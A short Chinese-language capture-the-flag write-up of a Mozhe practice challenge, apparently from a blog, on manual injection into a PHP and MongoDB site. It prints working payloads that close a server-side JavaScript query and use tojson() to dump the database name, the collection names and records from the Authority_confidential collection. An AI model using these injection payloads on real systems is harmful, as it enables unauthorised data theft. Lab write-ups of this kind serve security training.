简单SQL注入-MongoDB
简单SQL注入
题目来源:墨者 [SQL手工注入漏洞测试(MongoDB数据库)]
时间:2026/09/04
题目:安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
附上源代码截图:

构造简单测试SQL
闭合这句查询语句可得以下简单SQL
id=1'}); return ({title:1,content:'2
找注入点
抓包


发现POST传入参数不是题目所给的id,寻找其他注入点,这里我直接扫后台拿到存在SQL注入的页面
扫后台找到注入界面

打开new_list,传入id参数后发现有反应

由此可确认题目所给SQL漏洞代码来自new_list页面,接下来就是简单的payload构造
注入拿flag
爆库
id=1'}); return ({title:tojson(db),content:'1

爆表
id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1

爆字段
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
以及
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1

得到两串MD5,解密即可


浙公网安备 33010602011771号